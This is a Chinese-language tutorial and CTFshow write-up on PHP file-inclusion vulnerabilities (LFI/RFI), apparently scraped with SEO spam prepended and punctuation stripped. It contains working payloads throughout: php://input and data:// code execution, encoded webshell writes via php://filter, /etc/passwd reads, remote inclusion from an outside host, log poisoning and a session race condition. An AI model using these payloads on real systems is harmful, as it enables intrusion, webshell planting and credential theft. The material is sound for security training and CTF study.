宁波建站,湛江小程序商城运营方案,湖北省建设网站,网站建设hengfengera050-WEB攻防-PHP应用文件包含LFIRFI伪协议编码算法无文件利用黑白盒
#知识点#xff1a; 1、文件包含-原理分类危害-LFIRFI 2、文件包含-利用-黑白盒无文件伪协议 演示案例#xff1a; ➢文件包含-原理分类文件包含LFIRFI伪协议编码算法无文件利用黑白盒
#知识点 1、文件包含-原理分类危害-LFIRFI 2、文件包含-利用-黑白盒无文件伪协议 演示案例 ➢文件包含-原理分类利用修复 ➢黑盒利用-VULWEB-有无包含文件 ➢白盒利用-CTFSHOW-伪协议玩法 #文件包含-原理分类利用修复
1、原理
程序开发人员通常会把可重复使用的函数写到单个文件中在使用某些函数时 直接调用此文件而无须再次编写这种调用文件的过程一般被称为文件包含。 在包含文件的过程中如果文件能进行控制则存储文件包含漏洞
文件包含 包含的文件就被当做当前脚本语言去代码执行了
漏洞原因 1、使用文件包含函数 2、包含的文件可控
漏洞简单复现 创建include.php文件代码**include($_GET[file]);使用include函数来包$_GET[file]这是危险的做法因为用户可以通过修改URL参数传递恶意文件路径导致安全漏洞。** 创建2.txt代码内容?php phpinfo();? 访问对应文件路径并传递参数http://192.168.137.1:84/include.php?file2.txt 相当于include(2.txt);
漏洞分类
本地包含-Local File Include-LFI 远程包含-Remote File Include-RFI 差异原因代码过滤和环境配置文件开关决定 找到对应的小皮PHP设置中的远程包含并开启或者在对应网址服务的PHP版本下找到php.ini文件并将allow_url_includeOff改为On即可 通过远程服务创建file.txt内容为?php phpinfo();? 并使用远程包含将对应文件地址替换为远程创建的文件的ip访问地址即可 2、白盒审计CTFSHOW 白盒发现 1、可通过应用功能追踪代码定位审计 2、可通过脚本特定函数搜索定位审计 3、可通过伪协议玩法绕过相关修复等 PHPinclude、require、include_once、require_once等 include在包含的过程中如果出现错误会抛出一个警告程序继续正常运行 require函数出现错误的时候会直接报错并退出程序的执行 Javajava.io.File、java.io.FileReader等 ASP.NETSystem.IO.FileStream、System.IO.StreamReader等 3、黑盒分析
黑盒发现主要观察参数传递的数据和文件名是否对应 URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
4、利用
本地利用思路
1、配合文件上传上传一个文件 文件写有我们的恶意代码
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用
php://input与data://都需要开启allow_url_include才能使用 参考https://blog.csdn.net/unexpectedthing/article/details/121276653
文件读取
file:///d:/1.txt读取d盘下的1.txt文件内容绝对路径php://filter/readconvert.base64-encode/resource1.php 读取名为1.php的文件**当前网址存放源码目录下并将其内容以base64编码的形式返回。相对路径** PD9waHAgcGhwaW5mbygpOz8通过解码后是?php phpinfo();? http://192.168.137.1:84/include.php?filephp://filter/readconvert.base64-encode/resource…/…/…/1.txt 还可以进行跨目录访问
file:///etc/passwd
这个示例尝试读取系统中的/etc/passwd文件。在类Unix系统上这是包含用户帐户信息的文件。php://filter/readconvert.base64-encode/resourcephpinfo.php
这个示例尝试读取名为 phpinfo.php 的文件并将其内容以base64编码的形式返回。文件写入
http://192.168.137.1:84/include.php?filephp://input在Post data中写入?php fputs(fopen(shell.php,w),?php eval($_GET[cmd]); ?); ?成功写入文件并可以访问执行http://192.168.137.1:84/include.php?filephp://filter/writeconvert.base64-encode/resourcephpinfo.php** 在Post data中写入content131成功写入文件并可以访问执行 **file_put_contents($_GET[file],$_POST[content]); 使用该方式执行文件写入必须要在代码中有这个才可以**$_GET[file]: 通过GET请求传递的**file**参数用于指定要写入内容的文件路径。这可能包含相对或绝对路径具体取决于如何使用该代码$_POST[content]: 通过POST请求传递的**content**参数用于指定要写入到文件中的内容。这是用户提供的数据可以是任何字符串。该代码的主要目的是将通过POST请求传递的内容写入指定的文件。
php://filter/writeconvert.base64-encode/resourcephpinfo.php
这个示例尝试将base64编码的内容写入名为 phpinfo.php 的文件中。php://input POST:?php fputs(fopen(shell.php,w),?php eval($_GET[cmd]); ?); ?
这个示例通过php://input伪协议尝试通过POST请求将一个PHP脚本写入名为 shell.php 的文件中。
该脚本是一个简单的 PHP Webshell允许通过URL参数执行任意代码代码执行 http://192.168.137.1:84/include.php**?filephp://input** 在Post data中写入?php phpinfo();? [http://192.168.137.1:84/include.php?filedata://text/plain,?php](http://192.168.137.1:84/include.php?filedata://text/plain,%3C?php) phpinfo();? 使用data代码执行直接在data后面跟上想要执行的代码即可 http://192.168.137.1:84/include.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B php://input POST:?php phpinfo();?
这个示例通过php://input伪协议尝试通过POST请求执行 phpinfo() 函数。data://text/plain,?php phpinfo();?
这个示例尝试通过 data:// 伪协议执行 phpinfo() 函数。data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这个示例使用 data:// 伪协议通过base64编码的方式执行 phpinfo() 函数。远程利用思路
直接搭建一个可访问的远程URL包含文件 找到对应的小皮PHP设置中的远程包含并开启或者在对应网址服务的PHP版本下找到php.ini文件并将allow_url_includeOff改为On即可 通过远程服务创建file.txt内容为?php eval($_POST[pass]);? 并使用远程包含将对应文件地址替换为远程创建的文件的ip访问地址即可 通过哥斯拉连接后门成功获取权限 5、修复见网上参考方案
#黑盒利用-VULWEB-有无包含文件
http://testphp.vulnweb.com/showimage.php?fileindex.php 发现数据包存在文件包含和替换的关键词?fileshowimage.php 访问该页面并尝试抓取数据包替换file 后的文件名如index.php 发现回显出index.php源码暴露出数据库配置文件database_connect.php 将文件再次替换为数据库配置文件 并发送数据包发现得到数据库隐私数据库名和密码等信息 **?PHP$connection mysql_connect(127.0.0.1, acuart, trustno1)or die(Website is out of order. Please visit back later. Thank you for understanding.);**mysql_select_db(acuart, $connection)or die(Website is out of order. Please visit back later. Thank you for understanding.);
?#白盒利用-CTFSHOW-伪协议玩法
https://ctf.show/challenges 打开官网选择对应的题目web入门 选择78题启动靶场
78-phphttp协议
代码给出include文件包含的关键词由于是无文件上传所以使用无文件支持伪协议利用两种方式 第一种直接通过文件读取**相对路径php://filter/readconvert.base64-encode/resourceflag.php读取名为flag.php的文件当前网址存放源码目录下**并将其内容以base64编码的形式返回并通过解密拿到flag。第二种使用文件执行 ?filedata://text/plain,?php system(ls);? 可以获取当前目录文件发现有一个flag.php?filedata://text/plain,?php system(tac flag.php);? 即可读取flag.php的中的内容。 **system函数执行tac命令该命令用于反向输出文件内容以行为单位。在这里它尝试反向输出flag.php文件的内容。如果flag.php**文件存在并可读那么该文件的内容将被反向显示。 payload: ?filephp://filter/readconvert.base64-encode/resourceflag.php payload: ?filephp://input post:?php system(tac flag.php);? payload: ?filehttp://www.xiaodi8.com/1.txt 1.txt:?php system(tac flag.php);?
79-datahttp协议 代码给出include文件包含的关键词由于是无文件上传所以使用无文件支持伪协议利用发现对与文件名做了php关键词过滤在PHP中? ... ? 是短标签short tags的一种形式用于简洁地输出内容等同于 ?php echo ... ?。而 ?php ... ? 是标准的PHP起始和结束标记。两种方式 将文件执行中直接去掉php关键词依旧可以正常执行 ?filedata://text/plain,**?system(ls);?** 可以获取当前目录文件发现有一个flag.php?filedata://text/plain,**?system(tac flag*);?** 即可读取flag.php的中的内容。成功获取到flag 使用文件执行将数据流协议data://和base64编码的方式将PHP代码嵌入URL中 data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg解码为?php system(tac flag.php); ?
payload: ?filedata://text/plain,?system(tac flag.*);? payload: ?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg payload: ?filehttp://www.xiaodi8.com/1.txt 1.txt:?php system(tac flag.php);? 80 81-日志包含 1、利用其他协议,如file,zlib等 2、利用日志记录UA特性包含执行 分析需文件名及带有php关键字放弃 故利用日志记录UA信息UA带入代码 包含/var/log/nginx/access.log 代码给出include文件包含的关键词 由于是无文件上传所以使用无文件支持伪协议利用 发现对与文件名做了php关键词和data关键词过滤 两种方式 第一种使用文件执行PHP://input并使用大小写绕过其对php的过滤 **?filePHP://input POST data?system(ls);?**中写上对应的去掉PHP关键词php语句即可 ?filePHP://input POST data?system(tac fl0g.*);?中写上对应的去掉PHP关键词php语句和文件匹配的后缀更改为*号 成功拿到flag 第二种使用日志记录文件包含利用日志记录UA信息UA带入代码 使用文件读取**file:///var/log/nginx/access.log 读取对应的日志文件内容绝对路径成功读取通过抓包抓取到数据包发送至repeater并尝试修改UA头中的内容修改成功于是尝试在UA头中写入恶意代码 User-Agent: 222222222?phpsystem(ls)?并发送数据包成功写入并被解析fl0g.php index.phpUser-Agent: 333333333?php system(tac fl0g.php)?并发送数据包成功写入并被解析$flagctfshow{56017f9c-6037-4f27-bd84-ed6bffd417fa} 82-86-SESSION包含
自定义session名字条件竞争访问session文件触发创建新文件
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
1.简单来说上面这个选项开启以后上传文件我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID比如在Cookie里设置PHPSESSIDflagPHP将会在服务器上创建一个文件**/tmp/sess_flag**我们能够命名sess_后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下session.upload_progress.cleanup是开启的一旦读取了所有POST数据就会清除进度信息
6.于是我们需要条件竞争来读取文件所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码在文件上传中很常见保以下配置项在 php.ini 文件中已启用
session.upload_progress.enabled On使用 PHP_SESSION_UPLOAD_PROGRESS 时通常会在上传表单中添加一个隐藏字段将这个会话变量的值传递给服务器以便服务器能够跟踪上传的进度。在你提供的HTML代码中就有一个用于设置 PHP_SESSION_UPLOAD_PROGRESS 值的隐藏字段。
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html 在本地创建文件上传代码如下并将上传URL更改为对应的靶场网址 !DOCTYPE html
html
body
form action[http://xxxx.ctf.show/](http://xxxx.ctf.show/) methodPOST enctypemultipart/form-data
**input typehidden namePHP_SESSION_UPLOAD_PROGRESS value?php fputs(fopen(shell.php,w),?php eval($_POST[1])?? /**
input typefile namefile /
input typesubmit valuesubmit /
/form
/body
/html运行创建的网址并随意上传文件通过burp抓包并加入Cookie: PHPSESSIDwusuowei自定义Session ID 由于session.upload_progress.cleanup是开启的一旦读取了所有POST数据就会清除进度信息于是我们需要条件竞争来读取文件所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码。 将上传文件的数据包发送至Intruder选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely无限发送上传文件数据包将访问上传文件的请求数据包抓取并发送至Intruder选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely无限发送访问请求数据包 http://8dc5c2cc-397c-46d6-a28d-3b202ca37b6a.challenge.ctf.show/?file/tmp/sess_wusuowei 87-php://filter/write加密编码文件写入二次解密 正常来讲浏览器会默认执行URL解码一次但是提供代码中又加入了一次urldecode($file)二次解码造成之前的过滤失效 利用base64: url编码2次php://filter/writeconvert.base64-decode/resource123.php Post data:写入contentaaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg 需要补全数位aa 解码为?php eval($_POST[a]);?木马设置的密码为a 通过访问创建木马文件123.phphttp://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php 并通过输入Post data写入asystem(’ls’);通过木马密码进行替换操作 并通过输入Post data写入asystem(‘tac fl0g.php’); 利用凯撒13 url编码2次php://filter/writestring.rot13/resource2.php Post data:写入content?cuc riny($_CBFG[1]);? ROT13解密?php eval($_POST[1]);?木马设置的密码为1 通过访问创建木马文件2.phphttp://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/2.php 并通过输入Post data写入1system(’ls’);通过木马密码进行替换操作 并通过输入Post data写入1system(‘tac fl0g.php’);
88-database64协议 过滤PHP各种符号php代码编码写出无符号和base64值Payloadfiledata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk解密?php system(tac *.php);echo 123;?ad**为了去掉和** 直接写?php system(tac *.php);?会出现被过滤的号 117-php://filter/write新的算法 将众多编码形式做了过滤包括 http, https, utf, zlib, data, input, rot13, base64, string, log, sess不区分大小写i 标志。
convert.iconv.一种过滤器和使用iconv()函数处理流数据有等同作用
参考文章
文件包含漏洞php伪协议_文件包含漏洞伪协议利用-CSDN博客 ?php
/* 将字符串 ?php eval($_POST[a]);? 从 UCS-2LE 编码转换为 UCS-2BE 编码*/
$result iconv(UCS-2LE, UCS-2BE, ?php eval($_POST[a]);?);
echo 经过一次反转:.$result.\n;
//经过一次反转:?hp pvela$(P_SO[T]a;)?// 将经过一次编码转换后的字符串再次从 UCS-2LE 编码转换为 UCS-2BE 编码
echo 经过第二次反转:.iconv(UCS-2LE, UCS-2BE, $result);
//经过第二次反转:?php eval($_POST[a]);?
?Payloadfilephp://filter/writeconvert.iconv.UCS-2LE.UCS-2BE/resourcea.phpPost data 中写入**contents**?hp pvela$(P_SO[T]a;)?解码为?php eval($_POST[a]);?木马设置的密码为a通过访问创建木马文件a.phphttp://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php并通过输入Post data写入asystem(’ls’);通过木马密码进行替换操作并通过输入Post data写入asystem(‘tac flag.php’);